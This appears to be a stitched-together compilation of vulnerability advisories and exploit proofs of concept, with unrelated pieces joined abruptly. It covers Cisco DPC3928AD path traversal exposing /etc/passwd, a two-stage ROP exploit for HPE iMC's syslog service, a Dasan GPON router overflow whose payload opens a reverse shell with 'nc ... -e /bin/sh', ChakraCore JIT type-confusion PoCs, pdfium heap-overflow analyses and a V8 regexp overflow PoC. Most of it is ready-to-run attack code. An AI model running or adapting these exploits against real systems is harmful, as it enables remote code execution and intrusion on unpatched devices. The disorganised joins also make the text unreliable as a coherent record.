Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway vulnerability is present on its TCP/4321 port .
## Proof of Concept
An attacker can get the /etc/passwd file from the remote device, by sending the following request:
```
GET /../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 192.168.0.10:4321
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
The Router response the next output with the passwd content:
```
HTTP/1.1 200 OK
Content-Type: text/html
SERVER: Linux/#2 Wed Nov 12 10:23:46 CST 2014 UPnP/1.0 Broadcom
UPNP/0.9
Content-Length: 247
Accept-Ranges: bytes
Date: Thu, 10 Nov 2016 16:01:04 GMT
root:HAdbdMWcXHOuKQ:0:0:root:/:/bin/sh
admin:KASJakljhHqiuJ:0:0:aDMINISTRATOR:/:/bin/false
```
## Vulnerability Summary
The following advisory describes a Stack Buffer Overflow vulnerability found in HPE Intelligent Management Center version v7.2 (E0403P10) Enterprise, this vulnerability leads to an exploitable remote code execution.
HPE Intelligent Management Center (iMC) delivers comprehensive management across campus core and data center networks. iMC converts meaningless network data to actionable information to keep your network, and your business, moving.
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
HPE has released a patch to address this vulnerability and issued the following CVE-2017-5815.
## Vulnerability Details
HPE Intelligent Management Center (iMC) is vulnerable to a stack buffer overflow that lead to remote code execution. The imcsyslogdm service handles syslog messages received on UDP port 514.
The imcsyslogdm service handles the forwarded messages by using FORWARD_HEAD ( ‘Forwarded From:‘) and FORWARD_HEAD_END (‘Quidview‘) markers at the beginning of the packet to indicate the originator of the syslog message. In case there’s a FORWARD_HEAD marker but no FORWARD_HEAD_END, the application ends up copying the contents of the packet into a fixed-size stack buffer that is vulnerable to a buffer overflow.
## Proof of Concept
The first stage of the proof of concept is used to trigger the overflow and start a ROP chain by sending data on UDP port 514. The application also binds to UDP port 65535 but doesn’t seem to use it. After we triggered the buffer overflow, we will look for the file descriptor of this socket – the file descriptor number of this socket seems to be the number 27 most of the time, and the number 28 occasionally. To avoid non-determinism, the ROP chain retrieves the file descriptor number from the singleton instance holding it.
Then it reads 0x25f bytes into the .bss and pivots the stack there. The second stage contains another ROP chain, the command to be executed, and some helper strings. It resolves the address of system in libc via dlopen and dlsym. Executes the command via system. The command length is currently limited to ~470 bytes (the exploit checks for this) but could be extended for more and ends in an infinite loop.
While termination is avoided this way, this thread is responsible for handling syslog messages, so that function of the program will be broken.
```
#!/usr/bin/env python2
import socket
import struct
IP = '192.168.0.20'
PORT = 514
# the command to execute
command = 'echo "OK GOOGLE!" > /etc/issue ; #\0'
# port to use for the second stage payload, this is created during normal operation
# of the application, we just reuse it because there's no other thread waiting on it
# like in the case of the initial udp/514 vector, which could interfere with sending
# the second stage
PORT_SECOND_STAGE = 65535
# markers used for forwarded syslog messages
SYSLOG_FORWARD_HEAD = 'Forwarded From:'
SYSLOG_FORWARD_HEAD_END = 'Quidview'
def rop(*args):
return struct.pack('I' * len(args), *args)
# mock object of the ELF class from pwntools so that the final exploit doesn't depend on it
class ELF:
def bss(self, offset):
return 0x884D0C0 + offset
plt = {
'read': 0x805957C,
'dlopen': 0x805857C,
'dlsym': 0x80597BC,
}
e = ELF()
# strings used in the second stage
libc_str = 'libc.so.6\0'
system_str = 'system\0'
# ROP gadgets from, the latest available version:
# (Intelligent Management Center Enterprise (7.2_E0403) with E0403P10 applied
# [root@vm bin]# md5sum imcsyslogdm
# 8b06adbd3d47a372358d9106e659d9b2 imcsyslogdm
pop2_ret = 0x0805b137 # pop edi ; pop ebp ; ret
pop3_ret = 0x08480408 # pop edi ; pop ebx ; pop ebp ; ret
pop4_ret = 0x084f213a # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
zero_edx = 0x084f90c1 # xor edx, edx ; ret
inc_edx = 0x0811c5e6 # inc edx ; ret
pop_ebx = 0x080dd8cd # pop ebx ; ret
# used to write values obtained dynamically by the ROP chain to the stack
eax_to_stack = 0x08703fba # mov dword ptr [esp + edx*8], eax ; adc dword ptr [ebx], eax ; ret
ret = 0x080485c0 # ret
add_eax_28 = 0x084ddd16 # add eax, 0x1c ; pop ebp ; ret
dec_eax = 0x080dd660 # dec eax ; ret
zero_eax = 0x080834d4 # xor eax, eax ; ret
add_eax_25f = 0x0845f636 # add eax, 0x25f ; pop ebx ; pop ebp ; ret
ret_C = 0x0814b04e # ret 0xc
xchg_eax_esp = 0x0807a2c7 # xchg eax, esp ; ret
pop_eax = 0x0837db70 # pop eax ; ret
get_instance = 0x08091210 # ::instance of a Singleton used to retrieve a socket fd
mov_eax_eax_plus_0x5c = 0x08562d44 # mov eax, dword ptr [eax + 0x5c] ; ret
# the offset of the second stage into the .bss
second_stage_offset_into_bss = 0x6500
second_stage_data = libc_str + system_str + command
# place the data above the rop chain so that the stack usage of functions
# won't clobber it. Also, the second ROP chain has to be shorter than this.
second_stage_data_offset = 120
# the length of the command to be executed is limited to around 470 bytes
assert len(command) < 0x25f - second_stage_data_offset - len(system_str) - len(libc_str)
# the first stage has to be 0-byte free, so we do as little as possible here to read in a second stage
first_stage = rop(
# the stack write gadget (`eax_to_stack` above) writes eax to [esp + edx*8]
zero_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
pop_ebx,
# points somewhere in the bss, just needs to be writable for the eax_to_stack gadget
e.bss(0x5fc0),
# the second stage goes to udp/65535, which the application binds but doesn't
# seem to use for anything. The only thing not completely deterministic in the exploit
# is the fd number of this port, which seems to be quite reliably 27 but sometimes 28.
# We get its fd from a class member, and we get the class via a singleton ::instance function.
# [root@vm bin]# lsof | grep syslog | grep UDP | grep 65535
# imcsyslog 24741 root 27u IPv4 39655685 0t0 UDP *:65535
get_instance,
mov_eax_eax_plus_0x5c,
eax_to_stack, # write the handle to the stack
# write the read count to the stack
zero_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
zero_eax,
add_eax_25f,
# picked up by the above into ebx, written to by eax_to_stack, just needs to be writable
e.bss(second_stage_offset_into_bss - 0x80),
0x41414141,
eax_to_stack, # write the handle to the stack
ret_C,
e.plt['read'],
0x41414141, 0x41414141, 0x41414141,
pop3_ret,
0x41414141, # placeholder for the fd of udp/65535
e.bss(second_stage_offset_into_bss),
0x41414141, # placeholder for the read count
pop_eax,
e.bss(second_stage_offset_into_bss),
xchg_eax_esp
)
assert '\0' not in first_stage
print('* Sending first stage to udp/514')
# print repr(first_stage)
s_514 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_514.sendto(SYSLOG_FORWARD_HEAD + 'A'*48 + first_stage + '\0',
(IP, PORT))
s_514.close()
# the second stage does a dlopen/dlsym to get the address of the system function,
# then executes the given command via it.
second_stage = rop(
e.plt['dlopen'], # get libc handle
pop2_ret,
e.bss(second_stage_offset_into_bss + second_stage_data_offset),
2, # RTLD_NOW (why not)
# write the returned handle to the stack
zero_edx,
inc_edx,
pop_ebx,
e.bss(second_stage_offset_into_bss - 0x80), # somewhere in the bss
eax_to_stack, # write the handle to the stack
e.plt['dlsym'],
pop2_ret,
0x41516171, # placeholder, libc handle is written here
e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str)), # address is 'system' string
# write the returned address to the stack
zero_edx,
inc_edx,
pop_ebx,
e.bss(second_stage_offset_into_bss - 0x80), # somewhere in the bss
eax_to_stack, # write the handle to the stack
ret,
ret,
0x51617181, # placeholder, the address of system gets written here
0x854ae76, # continuation of execution: a simple infinite loop of 0xeb 0xfe
e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str) + len(system_str))
)
print('* Sending second stage to udp/65535')
# print repr(second_stage)
second_stage_final = second_stage.ljust(second_stage_data_offset) + second_stage_data
s_65535 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_65535.sendto(second_stage_final.ljust(0x25f), (IP, PORT_SECOND_STAGE))
s_65535.close()
print('! Done.')
```
## Vulnerability Summary
The following advisory describes a buffer overflow that leads to remote code execution found in Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146
Dasan Networks GPON ONT WiFi Router “is indoor type ONT dedicated for FTTH (Fibre to the Home) or FTTP (Fiber to the Premises) deployments. That can work as simple Bridge or behave as Router/NAT. It’s cost-effective CPE that meets carrier-class requirement for Telcom industry and guarantee reliable service proven in the field.”
## Credit
An independent security researcher, TigerPuma (at) Fosec.vn, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
We tried to contact Dasan since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.
## Vulnerability details
All cgi in Dasan web service are symbolic link of cgipage.cgi, and when client request, lighttpd will invoke the corresponding path.
The buffer overflow vulnerability found in function login_action which handler login request.
The function uses strcpy without check length of input from client request.
If we will look at the stack, we can see that we can trigger the buffer overflow and in the end to control the pc.
## Proof of Concept
```
import sys
import socket
import json
import time
import struct
import ssl
if len(sys.argv) != 4:
print "Use: {} ip port connectback".format(sys.argv[0])
sys.exit(1)
host = str(sys.argv[1])
port = int(sys.argv[2])
connectback = str(sys.argv[3])
buf = 1024
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.settimeout(10)
clientsocket = ssl.wrap_socket(sock)
#clientsocket = sock
clientsocket.connect((host, port))
addr_libc = 0x2ad0c000 # 0x2ad0e000 with H640DW
# rop1
rop1 = addr_libc + 0x00115d40 #addiu $a0,$sp,0x18 | jalr $s0
addr_rop1 = struct.pack(">i",rop1)
#rop2
system = addr_libc + 0x0003CC9C #system
addr_system = struct.pack(">i",system)
# execute command
command = "nc " + connectback + " -e /bin/sh;"
payload = "A"*(756 - 0x28) + addr_system + 'C'*(0x28-8) + addr_rop1 + ';'*24 + command
data = "action={}&txtUserId=a&button=Login&txtPassword=a&sle_Language=english\r\n".format(payload)
http_payload = """POST /cgi-bin/login_action.cgi HTTP/1.1\r\nHost: 192.168.1.100:8080\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://192.168.1.100:8080/cgi-bin/login.cgi\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\n{}""".format(len(data),data)
print http_payload
clientsocket.send(http_payload)
respond_raw = clientsocket.recv(buf).strip()
print respond_raw
respond_raw = clientsocket.recv(buf).strip()
print respond_raw
respond_raw = clientsocket.recv(buf).strip()
print respond_raw
clientsocket.close()
```
It seems this is the patch for the bug.
https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a
The following two cases will bypass the fix.
1:
function opt() {
let obj = new Number(2.3023e-320);
for (let i = 0; i < 1; i++) {
obj.x = 1;
obj = +obj;
obj.x = 1;
}
}
function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}
main();
2:
function opt() {
let obj = '2.3023e-320';
for (let i = 0; i < 1; i++) {
obj.x = 1;
obj = +obj;
obj.x = 1;
}
}
function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}
main();
/*
Here's a snippet of ExecuteImplicitCall which is responsible for updating the ImplicitCallFlags flag.
template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
...
Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
Js::Var result = implicitCall();
this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
return result;
}
It updates the flag after the implicit call. So if an exception is thrown during the implicit call, the flag will remain not updated. And the execution will be broken until the exeception gets handled. Namely, if we can ignore the exception in any way, we can bypass the ImplicitCallFlags checks.
At this point, "typeof" comes to rescue. The weird handler for "typeof" catchs execptions and clears them. For example, in the following code, the exeception thrown from toString will be ignored.
let o = {
toString: () => {
throw 1;
}
};
typeof(this[o]);
So, we can bypass the ImplicitCallFlags checks by throwing an exception and clearing it using "typeof".
*/
function opt(arr, index) {
arr[0] = 1.1;
typeof(arr[index]);
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 0x10000; i++) {
opt(arr, {});
}
opt(arr, {toString: () => {
arr[0] = {};
throw 1;
}});
print(arr[0]);
}
main();
/*
Let's consider the following example code.
function opt() {
let arr = [];
return arr['x'];
}
// Optimize the "opt" function.
for (let i = 0; i < 100; i++) {
opt();
}
Array.prototype.__defineGetter__('x', function () {
});
opt();
Once the "opt" function has been optimized, the getter function for "x" can't be invoked from the JITed code, instead it bailouts and invokes the getter. This is due to the DisableImplicitCallFlag flag.
Here's the function handling that logic.
template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
// For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout.
// These function may still throw exceptions, so we will need to add checks with RecordImplicitException
// so that we don't throw exception when disableImplicitCall is set before we allow these function to be called
// as an optimization. (These functions are valueOf and toString calls for built-in non primitive types)
Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function);
// we can hoist out const method if we know the function doesn't have side effect,
// and the value can be hoisted.
if (this->HasNoSideEffect(function, attributes))
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Don't call the implicit call if disable implicit call
if (IsDisableImplicitCall())
{
AddImplicitCallFlags(flags);
// Return "undefined" just so we have a valid var, in case subsequent instructions are executed
// before we bail out.
return function->GetScriptContext()->GetLibrary()->GetUndefined();
}
if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0)
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Save and restore implicit flags around the implicit call
Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
Js::Var result = implicitCall();
this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
return result;
}
As you can see above, it checks if the DisableImplicitCallFlag flag is set using IsDisableImplicitCall, if it is, just returns undefined and bailouts.
The reason that the flag was set in the example code was because of the "arr" variable was allocated in the stack. It was preventing the object from leaking through implicit calls.
However, if the function has no side effect, the function gets called regardless of the flag. One such function that is marked as HasNoSideEffect, but we can abuse is the Object.prototype.valueOf method. This method returns "this" itself. So if we use this method as the getter, it will return the array object allocated in the stack.
PoC:
*/
function opt() {
let arr = [];
return arr['x'];
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 0x10000; i++) {
opt();
}
Array.prototype.__defineGetter__('x', Object.prototype.valueOf);
print(opt());
}
main();
/*
If a native array is used as a prototype, it is converted to a Var array by the Js::JavascriptNativeFloatArray::SetIsPrototype method.
In the JIT compiler, it uses InitProto instructions to set object literals' prototype. But when optimizing those instructions, it doesn't reset the previous array validity even it can change the type of arrays. As a result, it can lead to type confusion.
Note: Expressions like "obj.__proto__" don't use InitProto instructions.
*/
function opt(arr, proto) {
arr[0] = 1.1;
let tmp = {__proto__: proto};
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 10000; i++) {
opt(arr, {});
}
opt(arr, arr);
print(arr);
}
main();
/*
This is similar to the previous issues 1457, 1459 (MSRC 42551, MSRC 42552).
If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.
PoC:
*/
function inlinee() {
}
function opt(arr) {
arr[0] = 1.1;
new inlinee();
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
inlinee.prototype = {};
opt(arr);
}
inlinee.prototype = arr;
opt(arr);
print(arr);
}
main();
/*
LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.
PoC:
*/
function opt(arr) {
arr[0] = 1.1;
this[0] = {};
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
opt.call({}, arr);
}
opt.call(arr, arr);
print(arr);
}
main();
/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.
Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray
To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.
Here's a snippet of JavascriptArray::EntrySort.
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
JS_REENTRANT(jsReentLock, arr->Sort(compFn));
arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);
If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.
PoC:
*/
function opt(arr, arr2) {
arr2[0];
arr[0] = 1.1;
arr2.reverse();
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3];
arr.__proto__ = null; // avoid inline caching
delete arr[1]; // avoid doArrayMissingValueCheckHoist
let arr2 = [, {}];
arr2.__proto__ = {};
arr2.reverse = Array.prototype.reverse;
for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}
Array.prototype.sort.call(arr, () => {
arr2.__proto__.__proto__ = arr;
});
opt(arr, arr2);
print(arr[0]);
}
main();
This vulnerability relies on several minor oversights in the handling of shading patterns in pdfium, I'll try to detail all of the issues that could be fixed to harden the code against similar issues.
The DrawXShading functions in cpdf_renderstatus.cpp rely on a helper function to compute the number of output components resulting from applying multiple shading functions. Note that all of these functions appear to be vulnerable; the rest of this report discusses the specifics of triggering a heap-overflow using DrawRadialShading.
uint32_t CountOutputs(
const std::vector<std::unique_ptr<CPDF_Function>>& funcs) {
uint32_t total = 0;
for (const auto& func : funcs) {
if (func)
total += func->CountOutputs(); // <-- Issue #1 : integer overflow here
}
return total;
}
The lack of integer overflow checking would not be an issue if the parser enforced the limitations applied by the pdf specification to the functions applied (namely that the /Function section in a radial shading pattern should be either a 1-n function or an array of n 1-1 functions), as these preconditions would preclude any overflow from occuring. However, we can see in the loading code for CPDF_ShadingPattern that there is no such validation.
bool CPDF_ShadingPattern::Load() {
if (m_ShadingType != kInvalidShading)
return true;
CPDF_Dictionary* pShadingDict =
m_pShadingObj ? m_pShadingObj->GetDict() : nullptr;
if (!pShadingDict)
return false;
m_pFunctions.clear();
CPDF_Object* pFunc = pShadingDict->GetDirectObjectFor("Function");
if (pFunc) {
// Issue #2: we never validate that the signatures of the parsed Function object
// match the expected signatures for the shading type that we're parsing.
if (CPDF_Array* pArray = pFunc->AsArray()) {
m_pFunctions.resize(std::min<size_t>(pArray->GetCount(), 4));
for (size_t i = 0; i < m_pFunctions.size(); ++i)
m_pFunctions[i] = CPDF_Function::Load(pArray->GetDirectObjectAt(i));
} else {
m_pFunctions.push_back(CPDF_Function::Load(pFunc));
}
}
CPDF_Object* pCSObj = pShadingDict->GetDirectObjectFor("ColorSpace");
if (!pCSObj)
return false;
CPDF_DocPageData* pDocPageData = document()->GetPageData();
m_pCS = pDocPageData->GetColorSpace(pCSObj, nullptr);
if (m_pCS)
m_pCountedCS = pDocPageData->FindColorSpacePtr(m_pCS->GetArray());
m_ShadingType = ToShadingType(pShadingDict->GetIntegerFor("ShadingType"));
// We expect to have a stream if our shading type is a mesh.
if (IsMeshShading() && !ToStream(m_pShadingObj.Get()))
return false;
return true;
}
Assuming that we can create function objects with very large output sizes, we can then reach the following code (in cpdf_renderstatus.cpp) when rendering something using the pattern:
void DrawRadialShading(const RetainPtr<CFX_DIBitmap>& pBitmap,
CFX_Matrix* pObject2Bitmap,
CPDF_Dictionary* pDict,
const std::vector<std::unique_ptr<CPDF_Function>>& funcs,
CPDF_ColorSpace* pCS,
int alpha) {
// ... snip ...
uint32_t total_results =
std::max(CountOutputs(funcs), pCS->CountComponents());
// NB: CountOutputs overflows here, result_array will be a stack buffer if we return
// a resulting size less than 16) or a heap buffer if the size is larger.
CFX_FixedBufGrow<float, 16> result_array(total_results);
float* pResults = result_array;
memset(pResults, 0, total_results * sizeof(float));
uint32_t rgb_array[SHADING_STEPS];
for (int i = 0; i < SHADING_STEPS; i++) {
float input = (t_max - t_min) * i / SHADING_STEPS + t_min;
int offset = 0;
for (const auto& func : funcs) {
if (func) {
int nresults;
// Here we've desynchronised the size of the memory pointed to by
// pResults with the actual output size of the functions, so this
// can write outside the allocated buffer.
if (func->Call(&input, 1, pResults + offset, &nresults))
offset += nresults;
}
}
float R = 0.0f;
float G = 0.0f;
float B = 0.0f;
pCS->GetRGB(pResults, &R, &G, &B);
rgb_array[i] =
FXARGB_TODIB(FXARGB_MAKE(alpha, FXSYS_round(R * 255),
FXSYS_round(G * 255), FXSYS_round(B * 255)));
}
Now we need to revisit our earlier assumption, that we can create function objects with large output sizes.
The following code handles parsing of function objects:
bool CPDF_Function::Init(CPDF_Object* pObj) {
CPDF_Stream* pStream = pObj->AsStream();
CPDF_Dictionary* pDict = pStream ? pStream->GetDict() : pObj->AsDictionary();
CPDF_Array* pDomains = pDict->GetArrayFor("Domain");
if (!pDomains)
return false;
m_nInputs = pDomains->GetCount() / 2;
if (m_nInputs == 0)
return false;
m_pDomains = FX_Alloc2D(float, m_nInputs, 2);
for (uint32_t i = 0; i < m_nInputs * 2; i++) {
m_pDomains[i] = pDomains->GetFloatAt(i);
}
CPDF_Array* pRanges = pDict->GetArrayFor("Range");
m_nOutputs = 0;
if (pRanges) {
m_nOutputs = pRanges->GetCount() / 2;
m_pRanges = FX_Alloc2D(float, m_nOutputs, 2); // <-- avoid this call
for (uint32_t i = 0; i < m_nOutputs * 2; i++)
m_pRanges[i] = pRanges->GetFloatAt(i);
}
uint32_t old_outputs = m_nOutputs;
if (!v_Init(pObj))
return false;
if (m_pRanges && m_nOutputs > old_outputs) {
m_pRanges = FX_Realloc(float, m_pRanges, m_nOutputs * 2); // <-- avoid this call
if (m_pRanges) {
memset(m_pRanges + (old_outputs * 2), 0,
sizeof(float) * (m_nOutputs - old_outputs) * 2);
}
}
return true;
}
We can only have 4 functions, so we need m_nOutputs to be pretty large. Ideally we also don't want our pdf file to contain arrays of size 0x100000000 // 4 either, since this will mean multiple-gigabyte pdfs. Note also that any call to the FX_ allocation functions will fail on very large values, so ideally we need to follow the case old_outputs == m_nOutputs == 0, avoiding the final FX_Realloc call and allowing an arbitrarily large m_nOutputs.
It turns out that there is a function subtype that allows this, the exponential interpolation function type implemented in cpdf_expintfunc.cpp
bool CPDF_ExpIntFunc::v_Init(CPDF_Object* pObj) {
CPDF_Dictionary* pDict = pObj->GetDict();
if (!pDict)
return false;
CPDF_Array* pArray0 = pDict->GetArrayFor("C0");
if (m_nOutputs == 0) {
m_nOutputs = 1;
if (pArray0) {
fprintf(stderr, "C0 %zu\n", pArray0->GetCount());
m_nOutputs = pArray0->GetCount();
}
}
CPDF_Array* pArray1 = pDict->GetArrayFor("C1");
m_pBeginValues = FX_Alloc2D(float, m_nOutputs, 2);
m_pEndValues = FX_Alloc2D(float, m_nOutputs, 2);
for (uint32_t i = 0; i < m_nOutputs; i++) {
m_pBeginValues[i] = pArray0 ? pArray0->GetFloatAt(i) : 0.0f;
m_pEndValues[i] = pArray1 ? pArray1->GetFloatAt(i) : 1.0f;
}
m_Exponent = pDict->GetFloatFor("N");
m_nOrigOutputs = m_nOutputs;
if (m_nOutputs && m_nInputs > INT_MAX / m_nOutputs) // <-- can't be *too* large
return false;
m_nOutputs *= m_nInputs; // <-- but it can be pretty large
// Issue #3: This is probably not the place, but it probably makes sense to
// bound m_nInputs and m_nOutputs to some large-but-not-that-large value in
// CPDF_Function::Init
return true;
}
So, by providing a function object without a /Range object, but with a large /C0 and /Domain elements, we can construct a function object with about INT_MAX outputs.
7 0 obj
<<
/FunctionType 2
/Domain [
0.0 1.0
... repeat many times ...
0.0 1.0
]
/C0 [
0.0
... repeat many times ...
0.0
]
/N 1
>>
endobj
At this point it looks like we have quite an annoying exploitation primitive; we can write a huge amount of data out of bounds, but that data will be calculated as an interpolation between it's input coordinates, and it will be a really, really big memory corruption.
It turns out that the point mentioned earlier at Issue #2 about validating the signatures of the functions is again relevant here, since if we look at the callsite in DrawRadialShading we can see that all of the functions are called with a single input parameter, and if we look at the start of CPDF_Function::Call
bool CPDF_Function::Call(float* inputs,
uint32_t ninputs,
float* results,
int* nresults) const {
if (m_nInputs != ninputs)
return false;
We can see that any attempt to call a function with the wrong number of input parameters will simply fail, letting us control precisely the size and contents of our overflow.
The attached poc will crash under ASAN with the following stack-trace, and without ASAN during the free of the corrupted heap block.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44082.zip
Related to issue 1490 .
When parsing ShadingPatterns; according to the specification they shouldn't be permitted to have a pattern colorspace as their base colorspace, but this is not validated, leading to out-of-bounds reads when rendering using the malformed shading pattern.
bool CPDF_ShadingPattern::Load() {
// ... snip ...
CPDF_Object* pCSObj = pShadingDict->GetDirectObjectFor("ColorSpace");
if (!pCSObj)
return false;
// No validation here on the type of colorspace.
// ... snip ...
return true;
}
If we now look at the code called during rendering of this pattern, we call through DrawFreeGouraudShading (cpdf_renderstatus.cpp), which will call CPDF_MeshStream::ReadVertex for each vertex in the shading pattern, which will call CPDF_MeshStream::ReadColor.
std::tuple<float, float, float> CPDF_MeshStream::ReadColor() {
ASSERT(ShouldCheckBPC(m_type));
float color_value[kMaxComponents];
for (uint32_t i = 0; i < m_nComponents; ++i) {
color_value[i] = m_ColorMin[i] + m_BitStream->GetBits(m_nComponentBits) *
(m_ColorMax[i] - m_ColorMin[i]) /
m_ComponentMax;
}
// NB: color_value has only been initialised for the first m_nComponents elements
float r = 0.0;
float g = 0.0;
float b = 0.0;
if (m_funcs.empty()) {
m_pCS->GetRGB(color_value, &r, &g, &b); // <-- we're interested in this call here
return std::tuple<float, float, float>(r, g, b);
}
// ... snip ...
}
This call to GetRGB will be into the pattern cs
bool CPDF_PatternCS::GetRGB(float* pBuf, float* R, float* G, float* B) const {
if (m_pBaseCS) {
ASSERT(m_pBaseCS->GetFamily() != PDFCS_PATTERN);
PatternValue* pvalue = (PatternValue*)pBuf;
// pvalue->m_Comps is now pointing 5 dwords into an 8 dword sized buffer, and p_pBaseCS expects to be able to read 8 dwords from it.
if (m_pBaseCS->GetRGB(pvalue->m_Comps, R, G, B))
return true;
}
*R = 0.75f;
*G = 0.75f;
*B = 0.75f;
return false;
}
Originally reported without 90 day deadline as https://bugs.chromium.org/p/chromium/issues/detail?id=795251, since it wasn't clear that there was an easy way to use the oob-read to leak information in a way that was useful, deadline applied as of 15/12 after working out how to use this as an information leak for issue 1489 .
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44083.zip
/*
Here's a snippet of the method.
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, captures_length_obj,
Object::ToLength(isolate, captures_length_obj));
const int captures_length = PositiveNumberToUint32(*captures_length_obj);
...
if (functional_replace) {
const int argc =
has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)
ScopedVector<Handle<Object>> argv(argc);
int cursor = 0;
for (int j = 0; j < captures_length; j++) {
argv[cursor++] = captures[j];
}
// (b)
argv[cursor++] = handle(Smi::FromInt(position), isolate);
argv[cursor++] = string;
The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).
PoC:
*/
let cnt = 0;
let reg = /./g;
reg.exec = () => {
if (cnt++ == 0)
return {length: 0xfffffffe};
cnt = 0;
return null;
};
''.replace(reg, () => {});